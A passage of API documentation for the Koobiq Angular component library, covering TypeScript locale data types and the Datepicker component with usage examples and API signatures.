        defaultUnitSystem: "SI";
        defaultPrecision: number;
        unitSystems: {
            SI: {
                abbreviations: string[];
                base: number;
                power: number;
            };
            IEC: {
                abbreviations: string[];
                base: number;
                power: number;
            };
        };
    };
};
```

##### ptBRLocaleData (const)

```ts
const ptBRLocaleData: {
    a11y: {
        close: string;
        save: string;
        saving: string;
        saveFailed: string;
        cancel: string;
        edit: string;
        removeAll: string;
        remove: string;
        breadcrumbs: string;
        expandBreadcrumbs: string;
        previousMonth: string;
        currentDate: string;
        nextMonth: string;
        clear: string;
        showPassword: string;
        hidePassword: string;
        resizeColumns: string;
        resizePanels: string;
        toastRegion: string;
        optionActions: string;
        progressBar: string;
    };
    select: {
        hiddenItemsText: string;
        selectAll: string;
    };
    datepicker: {
        placeholder: string;
    };
    timepicker: {
        placeholder: {
            full: string;
            short: string;
        };
    };
    fileUpload: {
        a11y: {
            fileAdded: string;
            fileRemoved: string;
            filesNotAdded: string;
        };
        single: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
        };
        multiple: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            captionTextWhenSelected: string;
            captionTextForCompactSize: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
            title: string;
        };
    };
    codeBlock: {
        softWrapOnTooltip: string;
        softWrapOffTooltip: string;
        downloadTooltip: string;
        copiedTooltip: string;
        copyTooltip: string;
        viewAllText: string;
        viewLessText: string;
        openExternalSystemTooltip: string;
    };
    timezone: {
        searchPlaceholder: string;
        otherCountriesLabel: string;
    };
    actionsPanel: {
        closeTooltip: string;
    };
    filterBar: {
        reset: {
            buttonName: string;
        };
        search: {
            tooltip: string;
            placeholder: string;
        };
        filters: {
            defaultName: string;
            saveNewFilterTooltip: string;
            searchPlaceholder: string;
            searchEmptyResult: string;
            saveAsNewFilter: string;
            saveChangesHeader: string;
            saveChangesButton: string;
            saveAsNewHeader: string;
            saveAsNewButton: string;
            change: string;
            resetChanges: string;
            remove: string;
            errorHint: string;
            saveButton: string;
            cancelButton: string;
            actionsTooltip: string;
        };
        add: {
            tooltip: string;
            addedAnnouncement: string;
        };
        refresher: {
            refresh: string;
            settings: string;
        };
        pipe: {
            clearButtonTooltip: string;
            removeButtonTooltip: string;
            applyButton: string;
            emptySearchResult: string;
            selectAll: string;
            noOptions: string;
        };
        datePipe: {
            customPeriod: string;
            customPeriodFrom: string;
            customPeriodTo: string;
            customPeriodErrorHint: string;
            customPeriodMinIntervalErrorHint: string;
            customPeriodMaxIntervalErrorHint: string;
            backToPeriodSelection: string;
        };
    };
    clampedText: {
        openText: string;
        closeText: string;
        showMoreText: string;
        moreText: string;
    };
    navbar: {
        toggle: {
            expand: string;
            collapse: string;
        };
    };
    searchExpandable: {
        tooltip: string;
        placeholder: string;
    };
    appSwitcher: {
        searchPlaceholder: string;
        searchEmptyResult: string;
        sitesHeader: string;
        clearSearch: string;
    };
    username: {
        siteLabel: string;
    };
    popoverConfirm: {
        confirmText: string;
        confirmButtonText: string;
    };
    timeRange: {
        title: {
            placeholder: string;
        };
        editor: {
            from: string;
            to: string;
            apply: string;
            cancel: string;
            rangeLabel: string;
            outOfBoundsError: string;
            allTime: string;
            currentQuarter: string;
            currentYear: string;
            allTimeOption: string;
            currentQuarterOption: string;
            currentYearOption: string;
        };
        durationTemplate: {
            title: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
            option: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
        };
    };
    notificationCenter: {
        notifications: string;
        remove: string;
        removeAll: string;
        doNotDisturb: string;
        showPopUpNotifications: string;
        noNotifications: string;
        failedToLoadNotifications: string;
        repeat: string;
        loadingMore: string;
        unread: string;
    };
};
```

##### ruRUFormattersData (const)

```ts
const ruRUFormattersData: {
    formatters: {
        number: {
            rounding: {
                separator: string;
                groupSeparator: string;
                thousand: string;
                million: string;
                billion: string;
                trillion: string;
            };
            decimal: {
                viewGroupSeparator: string;
            };
        };
    };
    input: {
        number: {
            groupSeparator: string[];
            fractionSeparator: string;
            startFormattingFrom: number;
            viewGroupSeparator: string;
        };
    };
    sizeUnits: {
        defaultUnitSystem: "SI";
        defaultPrecision: number;
        unitSystems: {
            SI: {
                abbreviations: string[];
                base: number;
                power: number;
            };
            IEC: {
                abbreviations: string[];
                base: number;
                power: number;
            };
        };
    };
};
```

##### ruRULocaleData (const)

```ts
const ruRULocaleData: {
    a11y: {
        close: string;
        save: string;
        saving: string;
        saveFailed: string;
        cancel: string;
        edit: string;
        removeAll: string;
        remove: string;
        breadcrumbs: string;
        expandBreadcrumbs: string;
        previousMonth: string;
        currentDate: string;
        nextMonth: string;
        clear: string;
        showPassword: string;
        hidePassword: string;
        resizeColumns: string;
        resizePanels: string;
        toastRegion: string;
        optionActions: string;
        progressBar: string;
    };
    select: {
        hiddenItemsText: string;
        selectAll: string;
    };
    datepicker: {
        placeholder: string;
        dateInput: string;
    };
    timepicker: {
        placeholder: {
            full: string;
            short: string;
        };
    };
    fileUpload: {
        a11y: {
            fileAdded: string;
            fileRemoved: string;
            filesNotAdded: string;
        };
        single: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
        };
        multiple: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            captionTextWhenSelected: string;
            captionTextForCompactSize: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
            title: string;
        };
    };
    codeBlock: {
        softWrapOnTooltip: string;
        softWrapOffTooltip: string;
        downloadTooltip: string;
        copiedTooltip: string;
        copyTooltip: string;
        viewAllText: string;
        viewLessText: string;
        openExternalSystemTooltip: string;
    };
    timezone: {
        searchPlaceholder: string;
        otherCountriesLabel: string;
    };
    actionsPanel: {
        closeTooltip: string;
    };
    filterBar: {
        reset: {
            buttonName: string;
        };
        search: {
            tooltip: string;
            placeholder: string;
        };
        filters: {
            defaultName: string;
            saveNewFilterTooltip: string;
            searchPlaceholder: string;
            searchEmptyResult: string;
            saveAsNewFilter: string;
            saveChangesHeader: string;
            saveChangesButton: string;
            saveAsNewHeader: string;
            saveAsNewButton: string;
            change: string;
            resetChanges: string;
            remove: string;
            errorHint: string;
            saveButton: string;
            cancelButton: string;
            actionsTooltip: string;
        };
        add: {
            tooltip: string;
            addedAnnouncement: string;
        };
        refresher: {
            refresh: string;
            settings: string;
        };
        pipe: {
            clearButtonTooltip: string;
            removeButtonTooltip: string;
            applyButton: string;
            emptySearchResult: string;
            selectAll: string;
            noOptions: string;
        };
        datePipe: {
            customPeriod: string;
            customPeriodFrom: string;
            customPeriodTo: string;
            customPeriodErrorHint: string;
            customPeriodMinIntervalErrorHint: string;
            customPeriodMaxIntervalErrorHint: string;
            backToPeriodSelection: string;
        };
    };
    clampedText: {
        openText: string;
        closeText: string;
        showMoreText: string;
        moreText: string;
    };
    navbar: {
        toggle: {
            expand: string;
            collapse: string;
        };
    };
    searchExpandable: {
        tooltip: string;
        placeholder: string;
    };
    appSwitcher: {
        searchPlaceholder: string;
        searchEmptyResult: string;
        sitesHeader: string;
        clearSearch: string;
    };
    username: {
        siteLabel: string;
    };
    popoverConfirm: {
        confirmText: string;
        confirmButtonText: string;
    };
    timeRange: {
        title: {
            placeholder: string;
        };
        editor: {
            from: string;
            to: string;
            apply: string;
            cancel: string;
            rangeLabel: string;
            outOfBoundsError: string;
            allTime: string;
            currentQuarter: string;
            currentYear: string;
            allTimeOption: string;
            currentQuarterOption: string;
            currentYearOption: string;
        };
        durationTemplate: {
            title: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
            option: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
        };
    };
    notificationCenter: {
        notifications: string;
        remove: string;
        removeAll: string;
        doNotDisturb: string;
        showPopUpNotifications: string;
        noNotifications: string;
        failedToLoadNotifications: string;
        repeat: string;
        loadingMore: string;
        unread: string;
    };
};
```

##### supportsNativeDisabled (const)

Whether the element supports the native `disabled` attribute; on any other host it is invalid HTML.

```ts
const supportsNativeDisabled: (element: Element) => boolean;
```

##### tkTMFormattersData (const)

```ts
const tkTMFormattersData: {
    formatters: {
        number: {
            rounding: {
                separator: string;
                groupSeparator: string;
                thousand: string;
                million: string;
                billion: string;
                trillion: string;
            };
        };
    };
    input: {
        number: {
            groupSeparator: string[];
            fractionSeparator: string;
            viewGroupSeparator: string;
        };
    };
    sizeUnits: {
        defaultUnitSystem: "SI";
        defaultPrecision: number;
        unitSystems: {
            SI: {
                abbreviations: string[];
                base: number;
                power: number;
            };
            IEC: {
                abbreviations: string[];
                base: number;
                power: number;
            };
        };
    };
};
```

##### tkTMLocaleData (const)

```ts
const tkTMLocaleData: {
    a11y: {
        close: string;
        save: string;
        saving: string;
        saveFailed: string;
        cancel: string;
        edit: string;
        removeAll: string;
        remove: string;
        breadcrumbs: string;
        expandBreadcrumbs: string;
        previousMonth: string;
        currentDate: string;
        nextMonth: string;
        clear: string;
        showPassword: string;
        hidePassword: string;
        resizeColumns: string;
        resizePanels: string;
        toastRegion: string;
        optionActions: string;
        progressBar: string;
    };
    select: {
        hiddenItemsText: string;
        selectAll: string;
    };
    datepicker: {
        placeholder: string;
        dateInput: string;
    };
    timepicker: {
        placeholder: {
            full: string;
            short: string;
        };
    };
    fileUpload: {
        a11y: {
            fileAdded: string;
            fileRemoved: string;
            filesNotAdded: string;
        };
        single: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
        };
        multiple: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            captionTextWhenSelected: string;
            captionTextForCompactSize: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
            title: string;
        };
    };
    codeBlock: {
        softWrapOnTooltip: string;
        softWrapOffTooltip: string;
        downloadTooltip: string;
        copiedTooltip: string;
        copyTooltip: string;
        viewAllText: string;
        viewLessText: string;
        openExternalSystemTooltip: string;
    };
    timezone: {
        searchPlaceholder: string;
        otherCountriesLabel: string;
    };
    actionsPanel: {
        closeTooltip: string;
    };
    filterBar: {
        reset: {
            buttonName: string;
        };
        search: {
            tooltip: string;
            placeholder: string;
        };
        filters: {
            defaultName: string;
            saveNewFilterTooltip: string;
            searchPlaceholder: string;
            searchEmptyResult: string;
            saveAsNewFilter: string;
            saveChangesHeader: string;
            saveChangesButton: string;
            saveAsNewHeader: string;
            saveAsNewButton: string;
            change: string;
            resetChanges: string;
            remove: string;
            errorHint: string;
            saveButton: string;
            cancelButton: string;
            actionsTooltip: string;
        };
        add: {
            tooltip: string;
            addedAnnouncement: string;
        };
        refresher: {
            refresh: string;
            settings: string;
        };
        pipe: {
            clearButtonTooltip: string;
            removeButtonTooltip: string;
            applyButton: string;
            emptySearchResult: string;
            selectAll: string;
            noOptions: string;
        };
        datePipe: {
            customPeriod: string;
            customPeriodFrom: string;
            customPeriodTo: string;
            customPeriodErrorHint: string;
            customPeriodMinIntervalErrorHint: string;
            customPeriodMaxIntervalErrorHint: string;
            backToPeriodSelection: string;
        };
    };
    clampedText: {
        openText: string;
        closeText: string;
        showMoreText: string;
        moreText: string;
    };
    navbar: {
        toggle: {
            expand: string;
            collapse: string;
        };
    };
    searchExpandable: {
        tooltip: string;
        placeholder: string;
    };
    appSwitcher: {
        searchPlaceholder: string;
        searchEmptyResult: string;
        sitesHeader: string;
        clearSearch: string;
    };
    username: {
        siteLabel: string;
    };
    popoverConfirm: {
        confirmText: string;
        confirmButtonText: string;
    };
    timeRange: {
        title: {
            placeholder: string;
        };
        editor: {
            from: string;
            to: string;
            apply: string;
            cancel: string;
            rangeLabel: string;
            outOfBoundsError: string;
            allTime: string;
            currentQuarter: string;
            currentYear: string;
            allTimeOption: string;
            currentQuarterOption: string;
            currentYearOption: string;
        };
        durationTemplate: {
            title: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
            option: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
        };
    };
    notificationCenter: {
        notifications: string;
        remove: string;
        removeAll: string;
        doNotDisturb: string;
        showPopUpNotifications: string;
        noNotifications: string;
        failedToLoadNotifications: string;
        repeat: string;
        loadingMore: string;
        unread: string;
    };
};
```

##### VERSION (const)

```ts
const VERSION: Version;
```

## Datepicker

- Entry point: `@koobiq/components/datepicker`
- NgModule: `KbqDatepickerModule`
- Page: https://koobiq.io/en/components/datepicker/overview

### Overview

A date field (datepicker) is a special input field with a widget for selecting a date.

**Example: Datepicker** (`datepicker-overview`)

```ts datepicker-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqDatepickerModule } from '@koobiq/components/datepicker';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { DateTime } from 'luxon';

@Component({
    selector: 'datepicker-overview-example',
    imports: [
        FormsModule,
        LuxonDateModule,
        KbqDatepickerModule,
        KbqFormFieldModule,
        KbqIconModule
    ],
    template: `
        <div class="docs-example__datepicker-overview">
            <kbq-form-field (click)="datepicker.toggle()">
                <input [kbqDatepicker]="datepicker" [(ngModel)]="date" />
                <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker" />
                <kbq-datepicker #datepicker />
            </kbq-form-field>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DatepickerOverviewExample {
    date: DateTime | null = null;
}
```

#### States

##### Inactive field

**Example: Datepicker inactive** (`datepicker-inactive`)

```ts datepicker-inactive-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, KbqFormsModule } from '@koobiq/components/core';
import { KbqDatepickerModule } from '@koobiq/components/datepicker';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { DateTime } from 'luxon';

@Component({
    selector: 'datepicker-inactive-example',
    imports: [
        FormsModule,
        LuxonDateModule,
        KbqDatepickerModule,
        KbqFormFieldModule,
        KbqFormsModule,
        KbqIconModule
    ],
    template: `
        <div class="docs-example__datepicker-inactive kbq-form-vertical">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Disabled empty field</label>
                <kbq-form-field>
                    <input [disabled]="true" [kbqDatepicker]="emptyDatepicker" [placeholder]="''" />
                    <kbq-datepicker-toggle-icon kbqSuffix [for]="emptyDatepicker" />
                    <kbq-datepicker #emptyDatepicker />
                </kbq-form-field>
            </div>

            <br />

            <div class="kbq-form__row">
                <label class="kbq-form__label">Read-only field with data</label>
                <kbq-form-field>
                    <input [disabled]="true" [kbqDatepicker]="datepicker" [ngModel]="selectedDate" />
                    <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker" />
                    <kbq-datepicker #datepicker />
                </kbq-form-field>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DatepickerInactiveExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    selectedDate: DateTime;

    constructor() {
        this.selectedDate = this.adapter.createDate(1989, 11, 13);
    }
}
```

#### Required

If the date field is required, use the `required` parameter.

**Example: Datepicker required** (`datepicker-required`)

```ts datepicker-required-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqDatepickerModule } from '@koobiq/components/datepicker';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { DateTime } from 'luxon';

@Component({
    selector: 'datepicker-required-example',
    imports: [
        FormsModule,
        LuxonDateModule,
        KbqDatepickerModule,
        KbqFormFieldModule,
        KbqIconModule
    ],
    template: `
        <div class="docs-example__datepicker-required">
            <kbq-form-field (click)="datepicker.toggle()">
                <input [kbqDatepicker]="datepicker" [required]="true" [(ngModel)]="date" />
                <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker" />
                <kbq-datepicker #datepicker />
            </kbq-form-field>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DatepickerRequiredExample {
    date: DateTime | null = null;
}
```

#### Usage examples

##### Date selection restriction

The range is configured with two separate pairs of bindings, and both are needed:

- `minDate` / `maxDate` on `<kbq-datepicker>` restrict the calendar — out-of-range days are
  not selectable.
- `min` / `max` on the `<input>` drive validation, including dates typed with the keyboard or
  pasted. A value outside the range is still written to the form control, and the control is
  marked invalid with `kbqDatepickerMin` or `kbqDatepickerMax`.

Validation requires a form control on the input (`ngModel`, `formControl` or `formControlName`) —
without one the validators never run.

`min` and `max` are compared with the time part included rather than by calendar day, because the
input keeps the time of the value it parses. Set the lower bound to the start of the first allowed
day and the upper bound to the end of the last allowed day, so that both boundary days stay valid.

**Example: Datepicker minimax** (`datepicker-minimax`)

```ts datepicker-minimax-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, KbqFormsModule } from '@koobiq/components/core';
import { KbqDatepickerModule } from '@koobiq/components/datepicker';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { DateTime } from 'luxon';

@Component({
    selector: 'datepicker-minimax-example',
    imports: [
        FormsModule,
        LuxonDateModule,
        KbqDatepickerModule,
        KbqFormFieldModule,
        KbqToolTipModule,
        KbqIconModule,
        KbqFormsModule
    ],
    template: `
        <div class="docs-example__datepicker-minimax">
            <div class="kbq-form-vertical">
                <div class="kbq-form__row">
                    <label class="kbq-form__label">Select a date between December 14, 2023, and August 25, 2024.</label>
                    <kbq-form-field
                        #tooltip="kbqTooltip"
                        kbqTooltipModifier="warning"
                        [kbqTooltip]="'Only numbers'"
                        (click)="datepicker.toggle()"
                    >
                        <input
                            [kbqDatepicker]="datepicker"
                            [kbqValidationTooltip]="tooltip"
                            [max]="maxDate"
                            [min]="minDate"
                            [(ngModel)]="date"
                        />
                        <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker" />
                        <kbq-datepicker #datepicker [maxDate]="maxDate" [minDate]="minDate" />
                    </kbq-form-field>
                </div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DatepickerMinimaxExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    readonly minDate = this.adapter.createDate(2023, 11, 14);
    // The bounds are compared as instants and the input keeps the time part of what it parses, so
    // the upper bound has to be the end of the last allowed day for that day to stay valid.
    readonly maxDate = this.adapter.createDate(2024, 7, 25).endOf('day');

    date: DateTime | null = null;
}
```

##### Date range

There is no dedicated date range widget, so use separate input fields to specify the boundaries.

**Example: Datepicker range** (`datepicker-range`)

```ts datepicker-range-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, KbqFormsModule } from '@koobiq/components/core';
import { KbqDatepickerModule } from '@koobiq/components/datepicker';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { DateTime } from 'luxon';

@Component({
    selector: 'datepicker-range-example',
    imports: [
        LuxonDateModule,
        KbqDatepickerModule,
        KbqFormFieldModule,
        KbqIconModule,
        KbqFormsModule
    ],
    template: `
        <div class="docs-example__datepicker-range">
            <div class="kbq-form-vertical">
                <div class="kbq-form__row">
                    <label class="kbq-form__label">Vacation period:</label>
                    <div>
                        <kbq-form-field class="layout-margin-right-s" (click)="datepicker.toggle()">
                            <input [kbqDatepicker]="datepicker" />
                            <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker" />
                            <kbq-datepicker #datepicker />
                        </kbq-form-field>

                        <kbq-form-field (click)="datepicker2.toggle()">
                            <input [kbqDatepicker]="datepicker2" />
                            <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker2" />
                            <kbq-datepicker #datepicker2 />
                        </kbq-form-field>
                    </div>
                </div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DatepickerRangeExample {
    private adapter = inject<DateAdapter<DateTime>>(DateAdapter);

    readonly minDate = this.adapter.createDate(2023, 11, 14);
    readonly maxDate = this.adapter.createDate(2024, 7, 25);
}
```

##### Using Datepicker and Timepicker together

**Example: Datepicker and timepicker** (`datepicker-and-timepicker`)

```ts datepicker-and-timepicker-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqFormsModule } from '@koobiq/components/core';
import { KbqDatepickerModule } from '@koobiq/components/datepicker';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTimepickerModule } from '@koobiq/components/timepicker';
import { DateTime } from 'luxon';

@Component({
    selector: 'datepicker-and-timepicker-example',
    imports: [
        FormsModule,
        LuxonDateModule,
        KbqTimepickerModule,
        KbqDatepickerModule,
        KbqFormsModule,
        KbqIconModule
    ],
    template: `
        <div class="docs-example__datepicker-and-timepicker">
            <div class="kbq-form-vertical">
                <label class="kbq-form__label">Package release date and time</label>
                <div class="kbq-form__row">
                    <div>
                        <kbq-form-field class="layout-margin-right-s" (click)="datepicker.toggle()">
                            <input [kbqDatepicker]="datepicker" [ngModel]="selectedDateTime" />
                            <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker" />
                            <kbq-datepicker #datepicker />
                        </kbq-form-field>

                        <kbq-form-field>
                            <i kbq-icon="kbq-clock_16" kbqPrefix></i>
                            <input kbqTimepicker [ngModel]="selectedDateTime" />
                        </kbq-form-field>
                    </div>
                </div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DatepickerAndTimepickerExample {
    selectedDateTime: DateTime;
}
```

### API

#### Components

##### KbqCalendarHeader (component)

Default header for KbqCalendar

```ts
@Component({ selector: 'kbq-calendar-header', exportAs: 'kbqCalendarHeader' })
class KbqCalendarHeader<D> {
    activeDate = model<D | undefined>();
    maxDate = input<D | null | undefined>();
    minDate = input<D | null | undefined>();
    readonly monthSelected = output<D>();
    readonly yearSelected = output<D>();
    monthNames: MonthName[];
    selectedMonth: number;
    years: number[];
    selectedYear: number;
    get previousDisabled(): boolean;
    get currentDisabled(): boolean;
    get nextDisabled(): boolean;
    onMonthSelected(month: number): void;
    onYearSelected(year: number): void;
    selectCurrentDate(): void;
    selectPreviousMonth(): void;
    selectNextMonth(): void;
}
```

- `onMonthSelected()`: `void` — Handles when a new month is selected.
- `onYearSelected()`: `void` — Handles when a new year is selected.
- `selectPreviousMonth()`: `void` — Handles user clicks on the previous button.
- `selectNextMonth()`: `void` — Handles user clicks on the next button.

##### KbqDatepicker (component)

Component responsible for managing the datepicker popup/dialog.

```ts
@Component({ selector: 'kbq-datepicker', exportAs: 'kbqDatepicker' })
class KbqDatepicker<D> {
    hasBackdrop = input<boolean | undefined>();
    startAt = input<D | null | undefined>();
    disabled = input<boolean | undefined>();
    opened = input<boolean | undefined>();
    readonly minDate = input<D | null>();
    readonly maxDate = input<D | null>();
    readonly panelClass = input<string | string[]>();
    readonly dateClass = input<(date: D) => KbqCalendarCellCssClasses>();
    readonly backdropClass = input<string>(
        'cdk-overlay-transparent-backdrop'
    );
    readonly yearSelected = output<D>();
    readonly monthSelected = output<D>();
    readonly openedStream = output<void>({ alias: 'opened' });
    readonly closedStream = output<void>({ alias: 'closed' });
    selected: D | null;
    get dateFilter(): (date: D | null) => boolean;
    get value(): D | null;
    readonly disabledChange: Subject<boolean>;
    readonly selectedChanged: Subject<D>;
    id: string;
    popupRef: OverlayRef | null;
    datepickerInput: KbqDatepickerInput<D>;
    select(date: D): void;
    selectYear(normalizedYear: D): void;
    selectMonth(normalizedMonth: D): void;
    registerInput(input: KbqDatepickerInput<D>): void;
    open(): void;
    close(restoreFocus?: boolean): void;
    toggle(): void;
}
```

- `[startAt]`: `D | null | undefined` — The date to open the calendar to initially.
- `[disabled]`: `boolean | undefined` — Whether the datepicker pop-up should be disabled.
- `[opened]`: `boolean | undefined` — Whether the calendar is open.
- `[minDate]`: `D | null` — The minimum selectable date.
- `[maxDate]`: `D | null` — The maximum selectable date.
- `[panelClass]`: `string | string[]` — Classes to be passed to the date picker panel. Supports the same syntax as the `[class]` binding.
- `[dateClass]`: `(date: D) => KbqCalendarCellCssClasses` — Function that can be used to add custom CSS classes to dates.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `(yearSelected)`: `D` — Emits selected year in multiyear view.
  This doesn't imply a change on the selected date.
- `(monthSelected)`: `D` — Emits selected month in year view.
  This doesn't imply a change on the selected date.
- `(opened)`: `void` — Emits when the datepicker has been opened.
- `(closed)`: `void` — Emits when the datepicker has been closed.
- `selected`: `D | null` — The currently selected date.
- `disabledChange`: `Subject<boolean>` — Emits when the datepicker is disabled.
- `selectedChanged`: `Subject<D>` — Emits new selected date when selected date changes.
- `id`: `string` — The id for the datepicker calendar.
- `popupRef`: `OverlayRef | null` — A reference to the overlay when the calendar is opened as a popup.
- `datepickerInput`: `KbqDatepickerInput<D>` — The input element this datepicker is associated with.
- `select()`: `void` — Selects the given date
- `selectYear()`: `void` — Emits the selected year in multiyear view
- `selectMonth()`: `void` — Emits selected month in year view
- `registerInput()`: `void` — Register an input with this datepicker.
  - `input`: `KbqDatepickerInput<D>` — The datepicker input to register with this datepicker.
- `open()`: `void` — Open the calendar.
- `close()`: `void` — Close the calendar.

##### KbqDatepickerToggleIconComponent (component)

```ts
@Component({ selector: 'kbq-datepicker-toggle-icon' })
class KbqDatepickerToggleIconComponent<D> implements KbqSiblingPopup {
    disabled = input<boolean | undefined>();
    readonly datepicker = input<KbqDatepicker<D>>(undefined, {
        alias: 'for'
    });
    get isAttached(): boolean;
    readonly openedChange: Observable<boolean>;
    open($event: MouseEvent): void;
}
```

- `[disabled]`: `boolean | undefined` — Whether the toggle button is disabled.
- `[for]`: `KbqDatepicker<D>` — Datepicker instance that the button will toggle.
- `isAttached`: `boolean` — Whether the calendar is currently on screen. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the calendar opens and `false` when it closes. Part of the `KbqSiblingPopup`
  contract.

  Built on top of the `datepicker` signal rather than read once, because the instance is bound after the
  consumers of this stream (a tooltip on the same element subscribes in its constructor) and may be
  swapped later.
- `open()`: `void` — Opens the calendar, moving the focus to its input; closes it instead when it was open at the press.

#### Directives

##### KbqDatepickerInput (directive)

Directive used to connect an input to a KbqDatepicker.

```ts
@Directive({
    selector: 'input[kbqDatepicker], input[kbqCalendar]',
    exportAs: 'kbqDatepickerInput'
})
class KbqDatepickerInput<D> implements KbqFormFieldControl<D>, ControlValueAccessor, Validator {
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly placeholder = input<string | undefined>();
    readonly required = input<boolean>(false);
    readonly value = input<D | null | undefined>();
    min = input<D | null | undefined>();
    max = input<D | null | undefined>();
    readonly disabled = input<boolean>(false);
    readonly id = input<string | undefined>();
    readonly incorrectInput = output<void>();
    readonly dateChange = output<KbqDatepickerInputEvent<D>>();
    readonly dateInput = output<KbqDatepickerInputEvent<D>>();
    elementRef: ElementRef<HTMLInputElement>;
    readonly adapter: DateAdapter<D>;
    readonly errorState: Signal<boolean>;
    controlType: string;
    readonly focused: Signal<boolean>;
    datepicker: KbqDatepicker<D>;
    calendar: KbqCalendar<D>;
    dateFilter: (date: D | null) => boolean;
    valueChange: EventEmitter<D | null>;
    disabledChange: EventEmitter<boolean>;
    set kbqDatepicker(value: KbqDatepicker<D>);
    set kbqCalendar(value: KbqCalendar<D>);
    set kbqDatepickerFilter(value: ((date: D | null) => boolean) | undefined);
    set kbqValidationTooltip(value: KbqTooltipTrigger);
    readonly empty: Signal<boolean>;
    get viewValue(): string;
    get ngControl(): any;
    get isReadOnly(): boolean;
    get dateInputFormat(): string;
    onInput: () => void;
    parseOnBlur: () => any;
    onContainerClick(): void;
    focus(): void;
    focusChanged(isFocused: boolean): void;
